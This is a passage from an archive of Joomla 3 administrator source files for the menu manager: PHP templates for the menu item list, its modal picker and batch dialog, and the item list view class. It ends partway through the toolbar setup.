	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<?php endif; ?>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div id="batch-choose-action" class="combo control-group">
				<label id="batch-choose-action-lbl" class="control-label" for="batch-menu-id">
					<?php echo JText::_('COM_MENUS_BATCH_MENU_LABEL'); ?>
				</label>
				<div class="controls">
					<select name="batch[menu_id]" id="batch-menu-id">
						<option value=""><?php echo JText::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
						<?php
						$opts     = array(
							'published' => $this->state->get('filter.published'),
							'checkacl'  => (int) $this->state->get('menutypeid'),
							'clientid'  => (int) $clientId,
						);
						echo JHtml::_('select.options', JHtml::_('menu.menuitems', $opts));
						?>
					</select>
				</div>
			</div>
			<div id="batch-copy-move" class="control-group radio">
				<?php echo JText::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
				<?php echo JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?>
			</div>
		<?php endif; ?>

		<?php if ($published < 0 && $clientId == 1): ?>
			<p><?php echo JText::_('COM_MENUS_SELECT_MENU_FILTER_NOT_TRASHED'); ?></p>
		<?php endif; ?>
	</div>
	<?php else : ?>
	<div class="row-fluid">
		<p><?php echo JText::_('COM_MENUS_SELECT_MENU_FIRST'); ?></p>
	</div>
	<?php endif; ?>
</div>
com_menus/views/items/tmpl/default_batch_footer.php000060400000001763152455305260016651 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = $this->state->get('filter.published');
$clientId  = $this->state->get('filter.client_id');
$menuType = JFactory::getApplication()->getUserState('com_menus.items.menutype');
?>
<button type="button" class="btn" onclick="document.getElementById('batch-menu-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<?php if ((strlen($menuType) && $menuType != '*' && $clientId == 0) || ($published >= 0 && $clientId == 1)): ?>
	<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('item.batch');return false;">
		<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
	</button>
<?php endif; ?>
com_menus/views/items/tmpl/default.xml000060400000000773152455305260014143 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MENUS_ITEMS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MENUS_ITEMS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="menutype"
				type="menu"
				label="COM_MENUS_ITEMS_CHOOSE_MENU_LABEL"
				description="COM_MENUS_ITEMS_CHOOSE_MENU_DESC"
				clientid=""
				>
				<option value="">COM_MENUS_SELECT_MENU</option>
			</field>
		</fields>
	</fieldset>
</metadata>
com_menus/views/items/tmpl/default.php000060400000027003152455305260014125 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user       = JFactory::getUser();
$app        = JFactory::getApplication();
$userId     = $user->get('id');
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$ordering   = ($listOrder == 'a.lft');
$saveOrder  = ($listOrder == 'a.lft' && strtolower($listDirn) == 'asc');
$menuType   = (string) $app->getUserState('com_menus.items.menutype', '', 'string');

if ($saveOrder && $menuType)
{
	$saveOrderingUrl = 'index.php?option=com_menus&task=items.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'itemList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
}

$assoc   = JLanguageAssociations::isEnabled() && $this->state->get('filter.client_id') == 0;
$colSpan = $assoc ? 10 : 9;

if ($menuType == '')
{
	$colSpan--;
}
?>
<?php // Set up the filter bar. ?>
<form action="<?php echo JRoute::_('index.php?option=com_menus&view=items'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('selectorFieldName' => 'menutype'))); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="itemList">
				<thead>
					<tr>
						<?php if ($menuType) : ?>
							<th width="1%" class="nowrap center hidden-phone">
								<?php echo JHtml::_('searchtools.sort', '', 'a.lft', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
							</th>
						<?php endif; ?>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_MENUS_HEADING_MENU', 'menutype_title', $listDirn, $listOrder); ?>
						</th>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<th width="5%" class="center nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_MENUS_HEADING_HOME', 'a.home', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort',  'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<?php if ($assoc) : ?>
							<th width="5%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'COM_MENUS_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
							</th>
						<?php endif; ?>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $colSpan; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>

				<tbody>
				<?php

				foreach ($this->items as $i => $item) :
					$orderkey   = array_search($item->id, $this->ordering[$item->parent_id]);
					$canCreate  = $user->authorise('core.create',     'com_menus.menu.' . $item->menutype_id);
					$canEdit    = $user->authorise('core.edit',       'com_menus.menu.' . $item->menutype_id);
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id')|| $item->checked_out == 0;
					$canChange  = $user->authorise('core.edit.state', 'com_menus.menu.' . $item->menutype_id) && $canCheckin;

					// Get the parents of item for sorting
					if ($item->level > 1)
					{
						$parentsStr = '';
						$_currentParentId = $item->parent_id;
						$parentsStr = ' ' . $_currentParentId;

						for ($j = 0; $j < $item->level; $j++)
						{
							foreach ($this->ordering as $k => $v)
							{
								$v = implode('-', $v);
								$v = '-' . $v . '-';

								if (strpos($v, '-' . $_currentParentId . '-') !== false)
								{
									$parentsStr .= ' ' . $k;
									$_currentParentId = $k;
									break;
								}
							}
						}
					}
					else
					{
						$parentsStr = '';
					}
					?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->parent_id; ?>" item-id="<?php echo $item->id; ?>" parents="<?php echo $parentsStr; ?>" level="<?php echo $item->level; ?>">
						<?php if ($menuType) : ?>
							<td class="order nowrap center hidden-phone">
								<?php
								$iconClass = '';

								if (!$canChange)
								{
									$iconClass = ' inactive';
								}
								elseif (!$saveOrder)
								{
									$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
								}
								?>
								<span class="sortable-handler<?php echo $iconClass ?>">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $orderkey + 1; ?>" />
								<?php endif; ?>
							</td>
						<?php endif; ?>
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td class="center">
							<?php
							// Show protected items as published always. We don't allow state change for them. Show/Hide is the module's job.
							$published = $item->protected ? 3 : $item->published;
							echo JHtml::_('MenusHtml.Menus.state', $published, $i, $canChange && !$item->protected, 'cb'); ?>
						</td>
						<td>
							<?php $prefix = JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
							<?php echo $prefix; ?>
							<?php if ($item->checked_out) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'items.', $canCheckin); ?>
							<?php endif; ?>
							<?php if ($canEdit && !$item->protected) : ?>
								<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_menus&task=item.edit&id=' . (int) $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
									<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
							<span class="small">
							<?php if ($item->type != 'url') : ?>
								<?php if (empty($item->note)) : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								<?php else : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
								<?php endif; ?>
							<?php elseif ($item->type == 'url' && $item->note) : ?>
								<?php echo JText::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
							<?php endif; ?>
							</span>
							<?php echo JHtml::_('MenusHtml.Menus.visibility', $item->params); ?>
							<div title="<?php echo $this->escape($item->path); ?>">
								<?php echo $prefix; ?>
								<span class="small"  title="<?php echo isset($item->item_type_desc) ? htmlspecialchars($this->escape($item->item_type_desc), ENT_COMPAT, 'UTF-8') : ''; ?>">
									<?php echo $this->escape($item->item_type); ?></span>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->menutype_title ?: ucwords($item->menutype)); ?>
						</td>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<td class="center hidden-phone">
							<?php if ($item->type == 'component') : ?>
								<?php if ($item->language == '*' || $item->home == '0') : ?>
									<?php echo JHtml::_('jgrid.isdefault', $item->home, $i, 'items.', ($item->language != '*' || !$item->home) && $canChange && !$item->protected); ?>
								<?php elseif ($canChange) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_menus&task=items.unsetDefault&cid[]=' . $item->id . '&' . JSession::getFormToken() . '=1'); ?>">
										<?php if ($item->language_image) : ?>
											<?php echo JHtml::_('image', 'mod_languages/' . $item->language_image . '.gif', $item->language_title, array('title' => JText::sprintf('COM_MENUS_GRID_UNSET_LANGUAGE', $item->language_title)), true); ?>
										<?php else : ?>
											<span class="label" title="<?php echo JText::sprintf('COM_MENUS_GRID_UNSET_LANGUAGE', $item->language_title); ?>"><?php echo $item->language_sef; ?></span>
										<?php endif; ?>
									</a>
								<?php else : ?>
									<?php if ($item->language_image) : ?>
										<?php echo JHtml::_('image', 'mod_languages/' . $item->language_image . '.gif', $item->language_title, array('title' => $item->language_title), true); ?>
									<?php else : ?>
										<span class="label" title="<?php echo $item->language_title; ?>"><?php echo $item->language_sef; ?></span>
									<?php endif; ?>
								<?php endif; ?>
							<?php endif; ?>
						</td>
						<?php endif; ?>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<?php endif; ?>
						<?php if ($assoc) : ?>
							<td class="small hidden-phone">
								<?php if ($item->association) : ?>
									<?php echo JHtml::_('MenusHtml.Menus.association', $item->id); ?>
								<?php endif; ?>
							</td>
						<?php endif; ?>
						<?php if ($this->state->get('filter.client_id') == 0) : ?>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<?php endif; ?>
						<td class="hidden-phone">
							<span title="<?php echo sprintf('%d-%d', $item->lft, $item->rgt); ?>">
								<?php echo (int) $item->id; ?>
							</span>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form if user is allowed ?>
			<?php if ($user->authorise('core.create', 'com_menus') || $user->authorise('core.edit', 'com_menus')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title' => JText::_('COM_MENUS_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer')
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_menus/views/items/tmpl/modal.php000060400000016777152455305260013615 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();

if ($app->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
JHtml::_('script', 'com_menus/admin-items-modal.min.js', array('version' => 'auto', 'relative' => true));
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$function     = $app->input->get('function', 'jSelectMenuItem', 'cmd');
$editor    = $app->input->getCmd('editor', '');
$listOrder    = $this->escape($this->state->get('list.ordering'));
$listDirn     = $this->escape($this->state->get('list.direction'));
$link         = 'index.php?option=com_menus&view=items&layout=modal&tmpl=component&' . JSession::getFormToken() . '=1';

if (!empty($editor))
{
	// This view is used also in com_menus. Load the xtd script only if the editor is set!
	JFactory::getDocument()->addScriptOptions('xtd-menus', array('editor' => $editor));
	$onclick = "jSelectMenuItem";
	$link    = 'index.php?option=com_menus&view=items&layout=modal&tmpl=component&editor=' . $editor . '&' . JSession::getFormToken() . '=1';
}
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_($link); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('selectorFieldName' => 'menutype'))); ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped table-condensed">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_MENUS_HEADING_MENU', 'menutype_title', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="center nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_MENUS_HEADING_HOME', 'a.home', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort',  'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="7">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
				<?php $uselessMenuItem = in_array($item->type, array('separator', 'heading', 'alias', 'url', 'container')); ?>
					<?php if ($item->language && JLanguageMultilang::isEnabled())
					{
						if ($item->language !== '*')
						{
							$language = $item->language;
						}
						else
						{
							$language = '';
						}
					}
					elseif (!JLanguageMultilang::isEnabled())
					{
						$language = '';
					}
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('MenusHtml.Menus.state', $item->published, $i, 0); ?>
						</td>
						<td>
							<?php $prefix = JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
							<?php echo $prefix; ?>
							<?php if (!$uselessMenuItem) : ?>
								<a class="select-link" href="javascript:void(0)" data-function="<?php echo $this->escape($function); ?>" data-id="<?php echo $item->id; ?>" data-title="<?php echo $this->escape($item->title); ?>" data-uri="<?php echo 'index.php?Itemid=' . $item->id; ?>" data-language="<?php echo $this->escape($language); ?>">
									<?php echo $this->escape($item->title); ?>
								</a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
							<span class="small">
								<?php if (empty($item->note)) : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								<?php else : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
								<?php endif; ?>
							</span>
							<div title="<?php echo $this->escape($item->path); ?>">
								<?php echo $prefix; ?>
								<span class="small" title="<?php echo isset($item->item_type_desc) ? htmlspecialchars($this->escape($item->item_type_desc), ENT_COMPAT, 'UTF-8') : ''; ?>">
									<?php echo $this->escape($item->item_type); ?></span>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->menutype_title); ?>
						</td>
						<td class="center hidden-phone">
							<?php if ($item->type == 'component') : ?>
								<?php if ($item->language == '*' || $item->home == '0') : ?>
									<?php echo JHtml::_('jgrid.isdefault', $item->home, $i, 'items.', ($item->language != '*' || !$item->home) && 0); ?>
								<?php else : ?>
									<?php if ($item->language_image) : ?>
										<?php echo JHtml::_('image', 'mod_languages/' . $item->language_image . '.gif', $item->language_title, array('title' => $item->language_title), true); ?>
									<?php else : ?>
										<span class="label" title="<?php echo $item->language_title; ?>"><?php echo $item->language_sef; ?></span>
									<?php endif; ?>
								<?php endif; ?>
							<?php endif; ?>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="small hidden-phone">
							<?php if ($item->language == '') : ?>
								<?php echo JText::_('JDEFAULT'); ?>
							<?php elseif ($item->language == '*') : ?>
								<?php echo JText::alt('JALL', 'language'); ?>
							<?php else : ?>
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone">
							<span title="<?php echo sprintf('%d-%d', $item->lft, $item->rgt); ?>">
								<?php echo (int) $item->id; ?>
							</span>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="function" value="<?php echo $function; ?>" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'cmd'); ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_menus/views/items/view.html.php000060400000025773152455305260013456 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The HTML Menus Menu Items View.
 *
 * @since  1.6
 */
class MenusViewItems extends JViewLegacy
{
	/**
	 * @var  array
	 */
	protected $f_levels;

	/**
	 * @var  mixed
	 */
	protected $items;

	/**
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * @var  JObject
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$lang = JFactory::getLanguage();
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->total         = $this->get('Total');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			MenusHelper::addSubmenu('items');
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->ordering = array();

		// Preprocess the list of items to find ordering divisions.
		foreach ($this->items as $item)
		{
			$this->ordering[$item->parent_id][] = $item->id;

			// Item type text
			switch ($item->type)
			{
				case 'url':
					$value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL');
					break;

				case 'alias':
					$value = JText::_('COM_MENUS_TYPE_ALIAS');
					break;

				case 'separator':
					$value = JText::_('COM_MENUS_TYPE_SEPARATOR');
					break;

				case 'heading':
					$value = JText::_('COM_MENUS_TYPE_HEADING');
					break;

				case 'container':
					$value = JText::_('COM_MENUS_TYPE_CONTAINER');
					break;

				case 'component':
				default:
					// Load language
						$lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR, null, false, true)
					|| $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR . '/components/' . $item->componentname, null, false, true);

					if (!empty($item->componentname))
					{
						$titleParts   = array();
						$titleParts[] = JText::_($item->componentname);
						$vars         = null;

						parse_str($item->link, $vars);

						if (isset($vars['view']))
						{
							// Attempt to load the view xml file.
							$file = JPATH_SITE . '/components/' . $item->componentname . '/views/' . $vars['view'] . '/metadata.xml';

							if (!is_file($file))
							{
								$file = JPATH_SITE . '/components/' . $item->componentname . '/view/' . $vars['view'] . '/metadata.xml';
							}

							if (is_file($file) && $xml = simplexml_load_file($file))
							{
								// Look for the first view node off of the root node.
								if ($view = $xml->xpath('view[1]'))
								{
									// Add view title if present.
									if (!empty($view[0]['title']))
									{
										$viewTitle = trim((string) $view[0]['title']);

										// Check if the key is valid. Needed due to B/C so we don't show untranslated keys. This check should be removed with Joomla 4.
										if ($lang->hasKey($viewTitle))
										{
											$titleParts[] = JText::_($viewTitle);
										}
									}
								}
							}

							$vars['layout'] = isset($vars['layout']) ? $vars['layout'] : 'default';

							// Attempt to load the layout xml file.
							// If Alternative Menu Item, get template folder for layout file
							if (strpos($vars['layout'], ':') > 0)
							{
								// Use template folder for layout file
								$temp = explode(':', $vars['layout']);
								$file = JPATH_SITE . '/templates/' . $temp[0] . '/html/' . $item->componentname . '/' . $vars['view'] . '/' . $temp[1] . '.xml';

								// Load template language file
								$lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE, null, false, true)
								||	$lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE . '/templates/' . $temp[0], null, false, true);
							}
							else
							{
								$base = $this->state->get('filter.client_id') == 0 ? JPATH_SITE : JPATH_ADMINISTRATOR;

								// Get XML file from component folder for standard layouts
								$file = $base . '/components/' . $item->componentname . '/views/' . $vars['view'] . '/tmpl/' . $vars['layout'] . '.xml';

								if (!file_exists($file))
								{
									$file = $base . '/components/' . $item->componentname . '/view/' . $vars['view'] . '/tmpl/' . $vars['layout'] . '.xml';
								}
							}

							if (is_file($file) && $xml = simplexml_load_file($file))
							{
								// Look for the first view node off of the root node.
								if ($layout = $xml->xpath('layout[1]'))
								{
									if (!empty($layout[0]['title']))
									{
										$titleParts[] = JText::_(trim((string) $layout[0]['title']));
									}
								}

								if (!empty($layout[0]->message[0]))
								{
									$item->item_type_desc = JText::_(trim((string) $layout[0]->message[0]));
								}
							}

							unset($xml);

							// Special case if neither a view nor layout title is found
							if (count($titleParts) == 1)
							{
								$titleParts[] = $vars['view'];
							}
						}

						$value = implode(' » ', $titleParts);
					}
					else
					{
						if (preg_match("/^index.php\?option=([a-zA-Z\-0-9_]*)/", $item->link, $result))
						{
							$value = JText::sprintf('COM_MENUS_TYPE_UNEXISTING', $result[1]);
						}
						else
						{
							$value = JText::_('COM_MENUS_TYPE_UNKNOWN');
						}
					}
					break;
			}

			$item->item_type = $value;
			$item->protected = $item->menutype == 'main';
		}

		// Levels filter.
		$options   = array();
		$options[] = JHtml::_('select.option', '1', JText::_('J1'));
		$options[] = JHtml::_('select.option', '2', JText::_('J2'));
		$options[] = JHtml::_('select.option', '3', JText::_('J3'));
		$options[] = JHtml::_('select.option', '4', JText::_('J4'));
		$options[] = JHtml::_('select.option', '5', JText::_('J5'));
		$options[] = JHtml::_('select.option', '6', JText::_('J6'));
		$options[] = JHtml::_('select.option', '7', JText::_('J7'));
		$options[] = JHtml::_('select.option', '8', JText::_('J8'));
		$options[] = JHtml::_('select.option', '9', JText::_('J9'));
		$options[] = JHtml::_('select.option', '10', JText::_('J10'));

		$this->f_levels = $options;

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}
		else
		{
			// In menu associations modal we need to remove language filter if forcing a language.
			if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
			{
				// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
				$languageXml = new SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
				$this->filterForm->setField($languageXml, 'filter', true);

				// Also, unset the active language filter so the search tools is not open by default with this filter.
				unset($this->activeFilters['language']);
			}
		}

		// Allow a system plugin to insert dynamic menu types to the list shown in menus:
		JEventDispatcher::getInstance()->trigger('onBeforeRenderMenuItems', array($this));

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$menutypeId = (int) $this->state->get('menutypeid');

		$canDo = JHelperContent::getActions('com_menus', 'menu', (int) $menutypeId);
		$user  = JFactory::getUser();

		// Get the menu title
		$menuTypeTitle = $this->get('State')->get('menutypetitle');

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		if ($menuTypeTitle)
		{
			JToolbarHelper::title(JText::sprintf('COM_MENUS_VIEW_ITEMS_MENU_TITLE', $menuTypeTitle), 'list menumgr');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_MENUS_VIEW_ITEMS_ALL_TITLE'), 'list menumgr');
		}

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('item.add');
		}

		$protected = $this->state->get('filter.menutype') == 'main';

		if ($canDo->get('core.edit') && !$protected)
		{
			JToolbarHelper::editList('item.edit');
		}

		if ($canDo->get('core.edit.state') && !$protected)
		{
			JToolbarHelper::publish('items.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('items.unpublish', 'JTOOLBAR_UNPUBLISH', true);
		}

		if (JFactory::getUser()->authorise('core.admin') && !$protected)
		{
			JToolbarHelper::checkin('items.checkin', 'JTOOLBAR_CHECKIN', true);
		}

		if ($canDo->get('core.edit.state') && $this->state->get('filter.client_id') == 0)
		{
			JToolbarHelper::makeDefault('items.setDefault', 'COM_MENUS_TOOLBAR_SET_HOME');
		}

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::custom('items.rebuild', 'refresh.png', 'refresh_f2.png', 'JToolbar_Rebuild', false);
		}

		// Add a batch button
		if (!$protected && $user->authorise('core.create', 'com_menus')
			&& $user->authorise('core.edit', 'com_menus')
			&& $user->authorise('core.edit.state', 'com_menus'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if (!$protected && $this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'items.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif (!$protected && $canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('items.trash');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::divider();
